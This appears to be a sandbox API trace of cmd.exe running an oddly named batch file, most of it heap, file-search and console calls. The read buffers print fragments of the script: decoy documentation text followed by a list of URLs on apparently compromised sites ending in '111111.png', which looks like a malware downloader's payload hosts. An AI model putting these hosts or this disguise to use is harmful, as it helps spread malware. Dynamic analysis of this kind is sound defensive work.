Size=0xb6) returned 0x20b0f92d690 [0228.279] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.279] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.280] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.280] GetProcessHeap () returned 0x20b0f920000 [0228.280] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0228.281] SetErrorMode (uMode=0x0) returned 0x0 [0228.281] SetErrorMode (uMode=0x1) returned 0x0 [0228.281] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0228.281] SetErrorMode (uMode=0x0) returned 0x1 [0228.281] GetProcessHeap () returned 0x20b0f920000 [0228.281] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0228.281] GetProcessHeap () returned 0x20b0f920000 [0228.281] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0228.282] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.282] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0228.282] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9257b0 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9257b0, Size=0x7e) returned 0x20b0f9257b0 [0228.282] GetProcessHeap () returned 0x20b0f920000 [0228.282] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9257b0) returned 0x7e [0228.282] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0228.283] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0228.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.283] GetLastError () returned 0x2 [0228.283] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.284] GetLastError () returned 0x2 [0228.284] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.284] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.285] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.285] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.285] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.285] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.285] GetLastError () returned 0x2 [0228.285] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.286] GetLastError () returned 0x2 [0228.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.286] GetLastError () returned 0x2 [0228.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.286] GetLastError () returned 0x2 [0228.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.286] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.286] GetLastError () returned 0x2 [0228.286] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.286] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cfd0 [0228.286] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0228.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.287] GetLastError () returned 0x2 [0228.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.287] GetLastError () returned 0x2 [0228.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.287] GetLastError () returned 0x2 [0228.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.287] GetLastError () returned 0x2 [0228.287] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.287] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.288] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.288] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.288] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.288] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.288] GetLastError () returned 0x2 [0228.288] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.289] GetLastError () returned 0x2 [0228.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.289] GetLastError () returned 0x2 [0228.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.289] GetLastError () returned 0x2 [0228.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.289] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.289] GetLastError () returned 0x2 [0228.289] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.289] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.290] GetLastError () returned 0x2 [0228.290] ??_V@YAXPEAX@Z () returned 0x1 [0228.290] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.290] GetFileType (hFile=0x54) returned 0x2 [0228.290] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0228.290] _get_osfhandle (_FileHandle=2) returned 0x54 [0228.290] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0228.291] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0228.291] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0228.291] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0228.294] ??_V@YAXPEAX@Z () returned 0x1 [0228.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.295] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0228.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.295] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0228.296] _get_osfhandle (_FileHandle=0) returned 0x4c [0228.296] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0228.296] SetConsoleInputExeNameW () returned 0x1 [0228.296] GetConsoleOutputCP () returned 0x1b5 [0228.296] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0228.296] SetThreadUILanguage (LangId=0x0) returned 0x409 [0228.297] ??_V@YAXPEAX@Z () returned 0x1 [0228.298] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0228.298] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0228.298] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.298] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd08 [0228.298] GetProcessHeap () returned 0x20b0f920000 [0228.298] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9257b0) returned 1 [0228.298] GetProcessHeap () returned 0x20b0f920000 [0228.298] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0228.298] GetProcessHeap () returned 0x20b0f920000 [0228.298] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0228.298] GetProcessHeap () returned 0x20b0f920000 [0228.298] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0228.299] GetProcessHeap () returned 0x20b0f920000 [0228.299] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d690) returned 1 [0228.299] GetProcessHeap () returned 0x20b0f920000 [0228.299] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0228.300] GetProcessHeap () returned 0x20b0f920000 [0228.300] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0228.300] GetProcessHeap () returned 0x20b0f920000 [0228.300] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0228.300] GetProcessHeap () returned 0x20b0f920000 [0228.300] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0228.300] GetProcessHeap () returned 0x20b0f920000 [0228.300] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0228.301] GetProcessHeap () returned 0x20b0f920000 [0228.301] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0228.301] GetProcessHeap () returned 0x20b0f920000 [0228.301] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0228.301] GetProcessHeap () returned 0x20b0f920000 [0228.301] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0228.301] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.301] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd08 [0228.301] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xaad, lpOverlapped=0x0) returned 1 [0228.301] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd11 [0228.301] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0228.301] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.301] GetFileType (hFile=0x9c) returned 0x1 [0228.301] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.301] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd11 [0228.303] GetProcessHeap () returned 0x20b0f920000 [0228.303] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0228.303] GetProcessHeap () returned 0x20b0f920000 [0228.304] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0228.304] _tell (_FileHandle=3) returned 3345 [0228.304] _close (_FileHandle=3) returned 0 [0228.304] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0228.304] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0228.304] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.304] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd11 [0228.304] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.304] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd11 [0228.304] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xaa4, lpOverlapped=0x0) returned 1 [0228.304] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6c [0228.304] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0228.305] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.305] GetFileType (hFile=0x9c) returned 0x1 [0228.305] _get_osfhandle (_FileHandle=3) returned 0x9c [0228.305] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6c [0228.305] GetProcessHeap () returned 0x20b0f920000 [0228.305] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0228.305] GetProcessHeap () returned 0x20b0f920000 [0228.305] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0228.305] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0228.305] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0228.305] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0228.305] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0228.305] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0228.305] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0228.305] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0228.305] GetProcessHeap () returned 0x20b0f920000 [0228.305] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0228.305] GetProcessHeap () returned 0x20b0f920000 [0228.305] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0228.306] GetProcessHeap () returned 0x20b0f920000 [0228.306] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f926ea0 [0228.306] _tell (_FileHandle=3) returned 3436 [0228.306] _close (_FileHandle=3) returned 0 [0228.306] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0228.306] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.306] GetFileType (hFile=0x50) returned 0x2 [0228.306] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.309] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.309] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0228.312] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0228.312] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0228.312] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0228.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.312] GetFileType (hFile=0x50) returned 0x2 [0228.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.313] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0228.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.313] GetFileType (hFile=0x50) returned 0x2 [0228.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.314] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0228.314] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0228.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.314] GetFileType (hFile=0x50) returned 0x2 [0228.314] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.315] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0228.315] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0228.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.315] GetFileType (hFile=0x50) returned 0x2 [0228.315] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0228.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0228.315] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0228.321] malloc (_Size=0xffce) returned 0x20b0fa60940 [0228.325] ??_V@YAXPEAX@Z () returned 